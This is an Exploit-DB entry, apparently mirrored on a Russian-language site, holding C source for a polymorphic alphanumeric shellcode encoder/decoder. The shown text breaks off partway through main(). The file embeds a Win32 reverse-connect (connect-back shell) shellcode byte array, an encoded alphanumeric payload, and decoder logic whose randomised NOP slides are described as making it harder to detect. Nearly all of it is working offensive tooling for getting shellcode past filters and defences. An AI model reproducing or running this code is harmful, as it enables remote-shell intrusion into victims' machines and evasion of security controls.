- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 13286
- Проверка EDB
-
- Пройдено
- Автор
- AVRI SCHNEIDER
- Тип уязвимости
- SHELLCODE
- Платформа
- GENERATOR
- CVE
- N/A
- Дата публикации
- 2008-08-04
C:
/*
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Alphanumeric Shellcode Encoder Decoder
Copyright © 1985-2008 Avri Schneider - Aladdin Knowledge Systems, Inc. All rights reserved.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/gpl-3.0.html>.
+-----------+
WORKS CITED
+-----------+
+--------------------------------------------------------------------------------------------------+
|Matt Conover, Soren Macbeth, Avri Schneider 05 October 2004 |
|Encode2Alnum (polymorphic alphanumeric decoder/encoder) |
|Full-Disclosure <http://lists.grok.org.uk/pipermail/full-disclosure/2004-October/027147.html> |
| |
|CLET Team. Aug. 2003 |
|Polymorphic Shellcode Engine |
|Phrack <http://www.phrack.org/show.php?p=61&a=9> |
| |
|Ionescu, Costin. 1 July 2003 |
|Re: GetPC code (was: Shellcode from ASCII) |
|Vuln-Dev <http://www.securityfocus.com/archive/82/327348> |
| |
|rix. Aug. 2001 |
|Writing ia32 alphanumeric shellcodes |
|Phrack <http://www.phrack.org/show.php?p=57&a=15> |
| |
|Wever, Berend-Jan. 28 Jan. 2001 |
|Alphanumeric GetPC code |
|Vuln-Dev <http://www.securityfocus.com/archive/82/351528> |
|ALPHA3 <http://skypher.com/wiki/index.php?title=ALPHA3> |
+--------------------------------------------------------------------------------------------------+
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
*/
#include <time.h>
#include <stdio.h>
#include <windows.h>
#define MAX_BYTES 0x100
#define MAX_ENCODED_SHELLCODE 2000 //this will be allocated on the stack
#define MIN_IP_STR_LEN 7
#define MAX_IP_STR_LEN 15
#define OFFSET_XOR_AL1_A 15
#define OFFSET_XOR_AL1_B 18
#define OFFSET_XOR_AL2_A 37
#define OFFSET_XOR_AL2_B 40
#define OFFSET_PUSH_DWORD1 0
#define OFFSET_PUSH_DWORD2 1
#define OFFSET_PUSH_DWORD3 4
#define OFFSET_PUSH_DWORD4 12
#define OFFSET_RANDOMIZED_DECODER_HEAD 14
#define SIZE_RANDOMIZED_DECODER_HEAD 16
BYTE EncodedShellcode[] = // encoded 336 bytes
"PZhUQPTX5UQPTHHH4D0B8RYkA9YA3A9A2B90B9BhPTRWX5PTRW4r8B9ugxPqy8xO"
"wck4WTyhlLlUjyhukHqGCixVLt4UTCBRwsV3pRod8OLMKO9FXJVTJJbJX4gsVXAt"
"Q3ukAxFmVIw7HyBfDyNv5zXqg4PQeTxZJLm56vRjSidjSz75mHb2RL5Hl30tUmnH"
"HtXEv7oZVdiEv1QwWijcgVk4CZn7NI3uRai32AZ7FS0Iq1cwWc5T5RlnTIiKJVmq"
"4T4MElucobfP4vWyB0OfB34JRJ9T4zjLlbKmlk7jTicj11869F001uAdTZKNJ7wL"
"mOv5mLlGPKFLtNI2525WhktKDO0NIlseHIuJ33xv7xGQAW55eZKXHw78zfvCI2U0"
"9Ulw5ZZhynmxG7JZZgJAYbg1MEp5QcOv7AYkYfcHQDWVMlJnzOSh8nzg1NZZn5Px"
"11U5INVEtvZOS1E094HqmbB6K1MfRIq7KQyNOeL7NHI1Xnwhyhy69bg2bTexGnkc"
"CEt90vn3DaFxGaFuRIPg0NK40kdg0L9ImaFbGy1Wl7JyGeJByHdfRCSYzvCzVa2v"
"RtQWG5lxRMN1CZREvyKFvfwij3X2P81J1wk9ZLmGAqxGPuQv7RBX411iaWKCLGnD"
"kwRZKREaRis5V7c5ILxKfAx6MbH40T53PnX9ZwSWtYzbHwCzkS0Ev5iVmLmS3xSk"
"1telLPYuGyNvX1TyJ3yLdOwckr";
// example: make encoder choose more uppercase bytes...
#define ADDITIONAL_CHARSET "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
#define ALNUM_CHARSET ADDITIONAL_CHARSET "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" // <--- allowed charset
// feel free to
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////change - YMMV
#define REGISTER_WITH_ADDRESS_OF_SHELLCODE esp // <--- change this to the register holding the address of the decoder////////////
#define _Q(str) #str
#define Q(str) _Q(str)
#define P(str) #str ##" // <--- buffer offset\n"## _Q(str)
///////////////////////////////////
#define CONNECT_BACK_SHELLCODE //
//#undef CONNECT_BACK_SHELLCODE //undefine CONNECT_BACK_SHELLCODE to use your own - and place it in shellcode[] >-----------------.
/////////////////////////////////////////////////////////////////// |
int main(); // |
UCHAR *scan_str_known_pattern(UCHAR *alnum_str, UCHAR *known_pattern, UINT known_pattern_length); // |
UCHAR get_push_register_instruction(UCHAR *reg); // |
UCHAR get_random_alnum_value(); // |
UCHAR get_random_alnum_push_dword_opcode(); // |
UCHAR *get_nop_slide(UINT size, UINT slide); /////// |
UCHAR *slide_substr_forward(UCHAR *str, UINT substr_offset, UINT substr_len, UINT str_len, UINT slide);// |
UCHAR *slide_substr_back(UCHAR *str, UINT substr_offset, UINT substr_len, UINT str_len, UINT slide); // |
UCHAR *shuffle(UCHAR str[], UINT length); /////// |
DWORD my_htonl(DWORD dw_in); // |
DWORD ip_str_to_dw(UCHAR *str); // |
BOOL terminating_key_exist(UCHAR *alnum_shellcode, UCHAR *terminating_key); // |
BOOL is_alnum(UCHAR c); // |
BOOL str_is_alnum(UCHAR *str); // |
UCHAR get_two_xor_complemets_for_byte_and_xor(UCHAR byte, UCHAR xor, int index); // |
UCHAR *randomize_decoder_head(UCHAR *decoder, UINT size_decoder, UCHAR xor_al1, UCHAR jne_xor1); // |
struct xor2_key *get_xor2_and_key_for_xor1_and_c(UCHAR xor1, UCHAR c); // |
struct xor2_key *choose_random_node(struct xor2_key *head); // |
void free_p_xor2_key(struct xor2_key *node); // |
// |
struct xor2_key { // |
UCHAR xor2; // |
UCHAR key; // |
struct xor2_key *prev; // |
struct xor2_key *next; // |
} xor2_key; // |
// |
// |
// Title: Win32 Reverse Connect // |
// Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003 // |
// Author: hdm[at]metasploit.com // |
#ifdef CONNECT_BACK_SHELLCODE // |
#define OFFSET_IP_ADDRESS 154 // |
#define OFFSET_TCP_PORT_NUMBER 159 // |
#define IP_ADDRESS "127.0.0.1" // |
#define TCP_PORT_NUMBER 123 // |
DWORD ip_address; // |
UCHAR shellcode[] = // |
"\xe8\x30\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xec\xf9\xaa" // |
"\x60\xd9\x09\xf5\xad\xcb\xed\xfc\x3b\x8e\x4e\x0e\xec\x7e\xd8\xe2" // |
"\x73\xad\xd9\x05\xce\x72\xfe\xb3\x16\x57\x53\x32\x5f\x33\x32\x2e" // |
"\x44\x4c\x4c\x00\x01\x5b\x54\x89\xe5\x89\x5d\x00\x6a\x30\x59\x64" // |
"\x8b\x01\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x58\x08\xeb\x0c\x8d\x57" // |
"\x24\x51\x52\xff\xd0\x89\xc3\x59\xeb\x10\x6a\x08\x5e\x01\xee\x6a" // |
"\x08\x59\x8b\x7d\x00\x80\xf9\x04\x74\xe4\x51\x53\xff\x34\x8f\xe8" // |
"\x83\x00\x00\x00\x59\x89\x04\x8e\xe2\xeb\x31\xff\x66\x81\xec\x90" // |
"\x01\x54\x68\x01\x01\x00\x00\xff\x55\x18\x57\x57\x57\x57\x47\x57" // |
"\x47\x57\xff\x55\x14\x89\xc3\x31\xff\x68" // |
"IPIP" // I.P. address // |
"\x68" // |
"PORT" // TCP port number // |
"\x89\xe1\x6a\x10\x51\x53\xff\x55\x10\x85\xc0\x75\x44\x8d\x3c\x24" // |
"\x31\xc0\x6a\x15\x59\xf3\xab\xc6\x44\x24\x10\x44\xfe\x44\x24\x3d" // |
"\x89\x5c\x24\x48\x89\x5c\x24\x4c\x89\x5c\x24\x50\x8d\x44\x24\x10" // |
"\x54\x50\x51\x51\x51\x41\x51\x49\x51\x51\xff\x75\x00\x51\xff\x55" // |
"\x28\x89\xe1\x68\xff\xff\xff\xff\xff\x31\xff\x55\x24\x57\xff\x55" // |
"\x0c\xff\x55\x20\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c\x8b" // |
"\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32\x49" // |
"\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07\xc1" // |
"\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24\x01" // |
"\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\xeb" // |
"\x02\x31\xc0\x89\xea\x5f\x5e\x5d\x5b\xc2\x08\x00"; // |
#else ////////////////////////////////////// |
UCHAR shellcode[] = "\xCC YOUR SHELLCODE GOES HERE \xCC"; // <----------------- here ------------------------------------------'
#endif //
DWORD size = sizeof(shellcode)-1; //
//
int main() { /////////////////////////////////////////////////////////
//(decoder address is in ecx when decoder starts) //
UCHAR PUSH_REGISTER_WITH_DECODER_ADDRESS = get_push_register_instruction(Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)); // >----------.
// // |
#define END_OF_ENCODED_SHELLCODE 'A','L','D','N' // this is the terminating string of the encoded shellcode // |
UCHAR str_end_of_encoded_shellcode[]= {END_OF_ENCODED_SHELLCODE}; //////////////////////////////////////////////// |
UCHAR xor_al1 = get_random_alnum_value(); // this is used to zero out AL the first time |
UCHAR xor_al2 = get_random_alnum_value(); // this is used to zero out AL the second time |
int offset_imul_key = '\xC1';//////////////////////// |
int jne_xor1 = '\xC2';// >---------------------------------------------------------. |
int jne_xor2 = '\xC3';// >--------------------------------------------------------------| |
// you would need to play with these two values if you want to reduce | |
// the size of the NOP slides - they obviously need to stay alnum. | |
// You could also play with the value of AL before the XOR is done | |
// to get your desired negative offset. keep in mind that it will cost | |
// you instructions to get al to the value you want (if you use xor of | |
// two alphanumeric bytes, you would need to push first alphanumeric | |
// char to the stack, pop eax, then xor it with it's alnum complement) | |
// This playing around would result in an even harder to detect decoder | |
// as the offsets would be different | |
int size_decoder ='\xC4'; // | |
int half_size_decoder ='\xC5'; //////////////////////////////////////////////////////////////////// | |
UCHAR imul_instruction_1 ='\x6B'; // | |
UCHAR imul_instruction_2 ='\x41'; // | |
UCHAR imul_instruction_3 ='\xC6'; //size of decoder+1 // | |
UCHAR imul_instruction_4 ='\xC7'; //initial key (random alnum) // | |
// // | |
UINT column=0, i=0; /////////////////////////////// | |
UCHAR *alnum = ALNUM_CHARSET; // | |
UCHAR *p_alnum = alnum; // | |
UCHAR decoder[] = // | |
{ //////////////////////////////////////////////////////////////////////////////// | |
// | |
//[step_1] -- multiply first encoded byte with key | |
//[step_2] -- xor result of step_1 with second encoded byte to get the decoded byte | |
// | |
// Each binary byte is encoded into three alphanumeric bytes. | |
// The first byte multipled by the third byte xor'ed against the second byte yeilds the original | |
// binary byte. | |
// | |
// TODO: | |
// .--(first byte ^ second byte) * third byte | |
// '--(second byte ^ first byte) * third byte | |
// | |
// .--(first byte ^ third byte) * second byte | |
// '--(third byte ^ first byte) * second byte | |
// | |
// .--(second byte ^ third byte) * first byte | |
// '--(third byte ^ second byte) * first byte | |
// | |
// .--(first byte * second byte) ^ third byte | |
// '--(second byte * first byte) ^ third byte | |
// | |
// .--(first byte * third byte) ^ second byte <-- decoder/encoder implemented | |
// '--(third byte * first byte) ^ second byte <-- decoder implemented (same encoder) | |
// | |
// .--(second byte * third byte) ^ first byte | |
// '--(third byte * second byte) ^ first byte | |
// | |
// | |
// The above is divided into pairs, each pair has the same values (in parenthesis) just at different offsets, | |
// and we can switch them around with no effect. Each option requires a different decoder, but each pair can use the | |
// same encoder. | |
// | |
/////////// DECODER HEAD (will be randomized by sliding instructions) //////// >----------------------------------|----|---.
/* 1*/ '\x50', //push ??? (this can change) // [eax = address of decoder]------+ | | |
/* 2*/ '\x50', //push ??? (this can change) // [ecx = address of decoder]------+ | | |
/* 3*/ PUSH_REGISTER_WITH_DECODER_ADDRESS, //push reg (decoder address) // [edx = address of decoder]------+ | | |
/* 4*/ PUSH_REGISTER_WITH_DECODER_ADDRESS, //push reg (base offset for cmp) // [ebx = address of decoder]------+ | | |
/* 5*/ '\x50', //push ??? (this can change) // [esp = address of decoder]------+ | | |
/* 7*/ '\x6A', half_size_decoder, //push 35h (word offset for cmp) // [ebp = decoder size / 2]--------+ | | |
/*12*/ '\x68', END_OF_ENCODED_SHELLCODE, //push END_OF_ENCODED_SHELLCODE // [esi = 4 bytes terminating key]>+ | | |
/*13*/ '\x50', //push ??? (this can change) // [edi = address of decoder]------+ | | |
/*14*/ '\x61', //popad // [set all registers] <-----------' | | |
/*16*/ '\x6A', xor_al1, //last decoder byte=0xB1 //push XOR_AL1 [JNE_XOR1^0xFF=al^JNE_XOR2=last byte==0xB1] >----. | | |
/*17*/ '\x58', //pop eax <-------------------------------------------------' | | |
/*19*/ '\x34', xor_al1, //xor al,XOR_AL1 [al = 0x00] | | |
/*20*/ '\x48', //dec eax [al = 0xFF] [you can play with AL here...]<----' | |
/*22*/ '\x34', jne_xor1, //xor al,JNE_XOR1 [al = 0xFF ^ JNE_XOR1] | |
/*25*/ '\x30', '\x42', size_decoder-1, //xor byte ptr [edx+size],al >--change-last-byte--. | |
/*26*/ '\x52', //push edx [save decoder address on stack] | | |
/*27*/ '\x52', //push edx >----. | | |
/*28*/ '\x59', //pop ecx <------' [ecx = address of decoder] | | |
/*29*/ '\x47', //inc edi we increment ebx keeping the decoder | | |
/*30*/ '\x43', //inc ebx length non-even (edi is unused) | | |
//////////////// DECODER_LOOP_START /////////////////////////////////////////// | | |
/*31*/ '\x58', //get address of the decoder //pop eax <---------. <--|-----------------. | |
/*32*/ '\x52', //save edx //push edx [can use edx now]>---------------|----|---------------. | | |
/*33*/ '\x51', //save ecx //push ecx [can use ecx now] >------------|----|-------------. | | | |
/*34*/ '\x50', //save address of decoder //push eax [can use eax now] >---------|----|-----------. | | | | |
/*35*/ '\x50', //save eax //push eax >----. | | | | | | | |
/*36*/ '\x5A', //restore into edx //pop edx <------' | | | | | | | |
/*38*/ '\x6A', xor_al2, //zero out al //push XOR_AL2 [al = 0] >----. | | | | | | | |
/*39*/ '\x58', //zero out al //pop eax | | | | | | | | |
/*41*/ '\x34', xor_al2, //zero out al //xor al,XOR_AL2 <----------' | | | | | | | |
/*42*/ '\x50', //save al on the stack (al=0)//push eax >-----------------. | | | | | | | |
/*45*/ '\x32', '\x42', offset_imul_key, //xor al,byte ptr [edx+off] | | | | | | | | |
/*48*/ '\x30', '\x42', offset_imul_key, //xor byte ptr [edx+off],al >--this-zero's-the-key----. | | | | | |
/*49*/ '\x58', //restore al from the stack (al=0)//pop eax <----------------------' | | | | | | | | |
/*52*/ '\x32', '\x41', size_decoder+2, // get key in al //xor al,byte ptr [ecx+size+2] | | | | | | | | |
/*55*/ '\x30', '\x42', offset_imul_key, //xor byte ptr [edx+off],al >---this-changes-the-key--|----. | | | | | |
/*56*/ '\x58', //restore address of decoder //pop eax <---------------------------------|----|---|----|--' | | | | |
/*57*/ '\x59', //restore ecx [word offset] //pop ecx <------------------------------|----|---|----|----' | | | |
/*58*/ '\x5A', //restore edx [byte offset] //pop edx <---------------------------|----|---|----|------' | | |
/*59*/ '\x50', //save address of decoder //push eax >---------------------------------|----|---|----|--------' | |
/////////// START NOP_SLIDE_1 ///////////////////////////////////////////////// | | | | | |
/*60*/ '\x41',/////////////////////////////////////inc ecx/////////////////////////// | | | | | |
/*61*/ '\x49',/////////////////////////////////////dec ecx/////////////////////////// | | | | | |
/*62*/ '\x41',/////////////////////////////////////inc ecx/////////////////////////// | | | | | |
/*63*/ '\x49',/////////////////////////////////////dec ecx+-----------------------+// | | | | | |
/*64*/ '\x41',// IMUL can go here and bellow //inc ecx| |// | | | | | |
/*65*/ '\x49',// //dec ecx| 16 bytes |// | | | | | |
/*66*/ '\x41',// //inc ecx| NOP slide |// | | | | | |
/*67*/ '\x49',// //dec ecx| |// | | | | | |
/*68*/ '\x41',// //inc ebx| can mungle eax until |// | | | | | |
/*69*/ '\x49',// will be randomized //dec ebx| IMUL_INSTRUCTION |// | | | | | |
/*70*/ '\x41',// //inc edx| |// | | | | | |
/*71*/ '\x49',// //dec edx| |// | | | | | |
/*72*/ '\x41',// //inc esi| |// | | | | | |
/*73*/ '\x49',// //dec esi+-----------------------+// | | | | | |
/*74*/ '\x41',// //push eax/////////////////////////// | | | | | |
/*75*/ '\x49',// //pop eax//////////////////////// // | | | | | |
//////////// END NOP_SLIDE_1 ////////////////////////////////////////////////// | | | | | |
// | | | | | |
// We can move around the IMUL_INSTRUCTION inside the NOP slides - but not before | | | | | |
// MAX_OFFSET_OFFSET_IMUL i.e. we can't move it before the first 4 bytes of NOP_SLIDE_1 | | | | | |
// or the offset will not be alphanumeric. | | | | | |
// | | | | | |
// We need to move the IMUL_INSTRUCTION in two byte increments, as we may modify eax in | | | | | |
// NOP_SLIDE_1 and we can't change eax after the IMUL_INSTRUCTION (as the result goes | | | | | |
// into eax) - this limitation can be overcome if we make sure not to modify eax after | | | | | |
// the IMUL_INSTRUCTION - and it is easy enough, as we don't care about eax' value at | | | | | |
// all - so we don't need to restore it. We can simply increment or decrement an unused | | | | | |
// register instead. We happen to have such a register - edi =] | | | | | |
// | | | | | |
// So in NOP_SLIDE_1, we can't use push eax;pop eax unless they will not be split by | | | | | |
// the IMUL_INSTRUCTION - because we would need the value of eax after the imul, and | | | | | |
// the pop eax would overwrite it | | | | | |
// | | | | | |
// But we could use a dec eax;inc edi or a dec eax;dec edi combinations (inc eax is not | | | | | |
// alphanumeric.). | | | | | |
// | | | | | |
// -OBSOLETE- | | | | | |
// I have set here the IMUL_INSTRUCTION between NOP_SLIDE_1 and NOP_SLIDE_2 | | | | | |
// If you wish to move it up, you will need to move it up by an even number of bytes. | | | | | |
// You will then need to change OFFSET_OFFSET_IMUL accordingly | | | | | |
// (add the number of bytes to it) | | | | | |
// If you wish to move it down, you will need to move it down by an even number of | | | | | |
// bytes. | | | | | |
// You will then need to change OFFSET_OFFSET_IMUL accordingly | | | | | |
// (deduct the number of bytes from it) | | | | | |
// | | | | | |
// TODO: make a routine that moves it around randomally between allowed values | | | | | |
// and sets the proper offsets | | | | | |
// this routine should be called after the NOP slides have been randomized. | | | | | |
// | | | | | |
////////// START NOP_SLIDE_2 //////////////////////////////////////////////////// | | | | | |
/*76*/ '\x41',// //inc ecx/////////////////////////// | | | | | |
/*77*/ '\x49',// //dec ecx/////////////////////////// | | | | | |
/*78*/ '\x41',// //inc ebx/////////////////////////// | | | | | |
/*79*/ '\x49',// //dec ebx+-----------------------+// | | | | | |
/*80*/ '\x41',// will be randomized //inc edx| |// | | | | | |
/*81*/ '\x49',// //dec edx| 12 bytes |// | | | | | |
/*82*/ '\x41',// //inc esi| NOP slide |// | | | | | |
/*83*/ '\x49',// //dec esi| |// | | | | | |
/*84*/ '\x41',// //push eax| |// | | | | | |
/*85*/ '\x49',// //pop eax| |// | | | | | |
/*86*/ '\x41',// //inc ecx+-----------------------+// | | | | | |
/*87*/ '\x49',// //dec ecx/////////////////////////// | | | | | |
// IMUL can go down to here | | | | | |
///////// [step_1] //imul eax,dword ptr [ecx+size_decoder+1],45h | | | | | |
/*91*/imul_instruction_1, imul_instruction_2, imul_instruction_3, imul_instruction_4,// <-This-key-will-change-' | |
////////// END NOP_SLIDE_2//////////////////////////////////////////////////// | | | |
/*92 */ '\x41', //ecx incremented once //inc ecx ---------------------. | | | |
/*95 */ '\x33', '\x41', size_decoder, //[step_2]//xor eax,dword ptr [ecx+size] | <--------------------store decoded | |
/*98 */ '\x32', '\x42', size_decoder, //xor al,byte ptr [edx+size] |ecx = ecx+2 | | byte | |
/*101*/ '\x30', '\x42', size_decoder, //xor byte ptr [edx+size],al | | |(eax=result of IMUL) | |
/*102*/ '\x41', //ecx incremented twice //inc ecx ---------------------' | | | |
/*103*/ '\x42', //edx incremented once //inc edx edx = edx+1 | | | |
/*104*/ '\x45', //ebp incremented once //inc ebp | | | |
/*107*/ '\x39', '\x34', '\x6B', //cmp dword ptr [ebx+ebp*2],esi // check if we reached the end | |
/*109*/ '\x75', jne_xor2, // <===0xB1 //jne DECODER_LOOP_START >--------------' <--' | |
'\x00' // If you change the length of the decoder, the jne would need to jump to a different offset than 0xB1 | |
};////////////////////////////////////////////////// | |
UINT shrink; // | |
UCHAR *found_msg; // | |
UCHAR *p_decoder = decoder; // | |
UCHAR xor1, xor2, key; // | |
UCHAR temp_buf[3] = ""; // | |
UCHAR alnum_shellcode[MAX_ENCODED_SHELLCODE] = "";// | |
UCHAR *p_alnum_shellcode = alnum_shellcode; // todo: allow for the key to be either the first, | |
struct xor2_key *p_xor2_key = 0; // the second or the third byte (currently third). | |
UCHAR *p_shellcode = shellcode; // | |
void *_eip = 0; // | |
// | |
int offset_nop_slide1; // | |
int offset_nop_slide2; // | |
int offset_half_size_decoder; // | |
int offset_terminating_key; // | |
int offset_imul_instruction1; // | |
int offset_imul_instruction2; // | |
int offset_imul_instruction3; // | |
int offset_imul_instruction4; // | |
int negative_offset_size_decoder1; // | |
int negative_offset_size_decoder2; // | |
int negative_offset_size_decoder3; // | |
int offset_size_decoder_min_1; // | |
int offset_size_decoder_pls_2; // | |
int offset_imul_key_offset1; // | |
int offset_imul_key_offset2; // | |
int offset_imul_key_offset3; // | |
int offset_imul_instruction; // | |
int size_nop_slide1; // | |
int size_nop_slide2; // | |
int offset_jne_xor1; // | |
int offset_jne_xor2; // | |
int decoder_length_section1; // | |
int decoder_length_section2; // | |
int decoder_length_section3; // | |
int imul_instruction_length; // | |
int jne_xor_negative_offset; // | |
int backward_slide_offset; // | |
BOOL decoder_version_1; // | |
UINT srand_value; // | |
#ifdef CONNECT_BACK_SHELLCODE ///////////////////////////////////////////// | |
printf("scanning EncodedShellcode for shellcode up to OFFSET_IP_ADDRESS bytes\n"); // | |
found_msg = scan_str_known_pattern(EncodedShellcode, shellcode, OFFSET_IP_ADDRESS); // | |
if (found_msg) printf("shellcode found encoded in EncodedShellcode using %s.\n", found_msg); // | |
else printf("shellcode not found encoded in EncodedShellcode.\n");///////////////////////////// | |
#endif ////////////////// | |
printf("shellcode length:%d\n", size); // | |
srand_value = time(NULL); // | |
// srand_value = ; // for debugging | |
srand(srand_value); // | |
printf("srand value=%d\n", srand_value); // | |
decoder_version_1 = rand() % 2; // | |
///// | |
size_decoder = strlen(decoder);// | |
decoder_length_section1 = 30; ////////////// | |
decoder_length_section2 = 29; // | |
decoder_length_section3 = 18; // | |
// | |
size_nop_slide1 = 28; // | |
size_nop_slide2 = 0; // | |
// | |
imul_instruction_length = 4; // | |
// | |
shrink = (rand()%6)*2; //////////////////////////////////////////////////// (can shrink up to 10 bytes | |
memmove(decoder+decoder_length_section1+decoder_length_section2+size_nop_slide1-shrink, // in 2 byte increments) | |
decoder+decoder_length_section1+decoder_length_section2+size_nop_slide1, // | |
imul_instruction_length+size_nop_slide2+decoder_length_section3+1); // | |
size_decoder -=shrink; /////////////////////////////////////////////////////// | |
half_size_decoder = size_decoder/2; // | |
size_nop_slide1 -=shrink; ///////////////////////// | |
printf("shrinking decoder by: %d\n", shrink); // | |
// | |
offset_imul_instruction = decoder_length_section1+// | |
decoder_length_section2+// | |
size_nop_slide1;////////// | |
// | |
backward_slide_offset = rand() % 15; // (selects a number from 0 to 14 in increments of 1) | |
strncpy(decoder, // | |
slide_substr_back(decoder, // | |
offset_imul_instruction, // | |
imul_instruction_length, // | |
size_decoder, ///// | |
backward_slide_offset), // | |
size_decoder); // | |
offset_imul_instruction -=backward_slide_offset; // | |
size_nop_slide1 -=backward_slide_offset; // | |
size_nop_slide2 +=backward_slide_offset; ////////////// | |
printf("backward_slide_offset = %d\n", backward_slide_offset);// | |
/////////////////////////////////// | |
negative_offset_size_decoder1 = 9; // | |
negative_offset_size_decoder2 = 12; // | |
negative_offset_size_decoder3 = 15; // | |
// | |
offset_half_size_decoder = 6; // | |
offset_terminating_key = 8; // | |
offset_jne_xor1 = 21; // | |
offset_size_decoder_min_1 = 24; // | |
// | |
offset_imul_key_offset1 = 14 + decoder_length_section1; // | |
offset_imul_key_offset2 = 17 + decoder_length_section1; // | |
offset_size_decoder_pls_2 = 21 + decoder_length_section1; // | |
offset_imul_key_offset3 = 24 + decoder_length_section1; // | |
// | |
offset_nop_slide1 = decoder_length_section1+ // | |
decoder_length_section2; // | |
offset_nop_slide2 = decoder_length_section1+ // | |
decoder_length_section2+ // | |
size_nop_slide1+ // | |
imul_instruction_length; // | |
// | |
offset_imul_instruction1 = offset_imul_instruction; // | |
offset_imul_instruction2 = offset_imul_instruction+1; // | |
offset_imul_instruction3 = offset_imul_instruction+2; // | |
offset_imul_instruction4 = offset_imul_instruction+3; // | |
// | |
// | |
offset_imul_key = offset_imul_instruction4; // | |
// | |
offset_jne_xor2 = size_decoder-1; // | |
jne_xor_negative_offset = decoder_length_section3+ // | |
decoder_length_section2+ // | |
size_nop_slide2+ // | |
imul_instruction_length+ // | |
size_nop_slide1; // | |
// | |
// | |
printf("size_decoder=0x%2X - %s\n", // | |
(UCHAR)size_decoder, ////// | |
is_alnum((UCHAR)size_decoder+(decoder_version_1?0:2))?"valid":"invalid - not alphanumeric!!!");// | |
*(decoder+offset_imul_instruction3) = size_decoder+(decoder_version_1?0:2); ////// | |
// | |
printf("half_size_decoder=0x%2X - %s\n", // | |
(UCHAR)half_size_decoder, // | |
is_alnum((UCHAR)half_size_decoder)?"valid":"invalid - not alphanumeric!!!"); // | |
*(decoder+offset_half_size_decoder) = half_size_decoder; // | |
// | |
printf("offset_imul_key=0x%2X - %s\n", // | |
(UCHAR)offset_imul_key, // | |
is_alnum((UCHAR)offset_imul_key)?"valid":"invalid - not alphanumeric!!!"); // | |
*(decoder+offset_imul_key_offset1) = offset_imul_key; // | |
*(decoder+offset_imul_key_offset2) = offset_imul_key; // | |
*(decoder+offset_imul_key_offset3) = offset_imul_key; // | |
// // | |
printf("size_decoder-1=0x%2X - %s\n", // | |
(UCHAR)size_decoder-1, // | |
is_alnum((UCHAR)(size_decoder-1))?"valid":"invalid - not alphanumeric!!!"); // | |
*(decoder+offset_size_decoder_min_1) = size_decoder-1; // | |
// | |
printf("size_decoder+2=0x%2X - %s\n", // | |
(UCHAR)size_decoder+2, //////// | |
is_alnum((UCHAR)(size_decoder+(decoder_version_1?2:0)))?"valid":"invalid - not alphanumeric!!!");// | |
*(decoder+offset_size_decoder_pls_2) = size_decoder+(decoder_version_1?2:0); //////// | |
// | |
*(decoder+size_decoder-negative_offset_size_decoder1) = size_decoder; // | |
*(decoder+size_decoder-negative_offset_size_decoder2) = size_decoder; // | |
*(decoder+size_decoder-negative_offset_size_decoder3) = size_decoder; ////////////////////////////// | |
// | |
*(decoder+offset_jne_xor1) = get_two_xor_complemets_for_byte_and_xor((UCHAR)(-jne_xor_negative_offset),// | |
'\xFF', // | |
0); // | |
*(decoder+offset_jne_xor2) = get_two_xor_complemets_for_byte_and_xor((UCHAR)(-jne_xor_negative_offset),// | |
'\xFF', // | |
1); // | |
#ifdef CONNECT_BACK_SHELLCODE // | |
ip_address = ip_str_to_dw(IP_ADDRESS);/////////////////////////////////////////////////// | |
if (ip_address == -1) /////////////////////////////////////////////////// | |
exit(-1); // | |
/////////////////////////////////// | |
//set shellcode with ip address and port for connect-back // | |
///* ////////// | |
*((DWORD *)(p_shellcode+OFFSET_IP_ADDRESS)) = ip_address;///////////////// | |
*((DWORD *)(p_shellcode+OFFSET_TCP_PORT_NUMBER)) = my_htonl(TCP_PORT_NUMBER);// | |
*(p_shellcode+OFFSET_TCP_PORT_NUMBER) = (UCHAR)2; // | |
#endif ////////////////////////////////////////// | |
//*/ // | |
//set decoder with 'random' nop slides // | |
strncpy(decoder+offset_nop_slide1, //////////////////////////// | |
shuffle(get_nop_slide(size_nop_slide1, 1), size_nop_slide1),// | |
size_nop_slide1); // | |
strncpy(decoder+offset_nop_slide2, // | |
shuffle(get_nop_slide(size_nop_slide2, 2), size_nop_slide2),// | |
size_nop_slide2); /////////////////////////////// | |
// | |
//set decoder with random initial key //////////////////////////////////////////// | |
*(decoder+offset_imul_key) = get_random_alnum_value();// | |
printf("initial key=0x%2X - %s\n", ////////////// | |
(UCHAR)*(decoder+offset_imul_key), // | |
is_alnum((UCHAR)*(decoder+offset_imul_key))?"valid":"invalid - not alphanumeric!!!"); // | |
// | |
////////////// | |
// | |
//set decoder with 'random' dword pushes for registers we won't use //////////////// | |
*(decoder+OFFSET_PUSH_DWORD1) = get_random_alnum_push_dword_opcode(); // | |
printf("push dword1=0x%2X - %s\n", // | |
(UCHAR)*(decoder+OFFSET_PUSH_DWORD1), // | |
is_alnum((UCHAR)*(decoder+OFFSET_PUSH_DWORD1))?"valid":"invalid - not alphanumeric!!!");// | |
*(decoder+OFFSET_PUSH_DWORD2) = get_random_alnum_push_dword_opcode(); // | |
printf("push dword2=0x%2X - %s\n", // | |
(UCHAR)*(decoder+OFFSET_PUSH_DWORD2), // | |
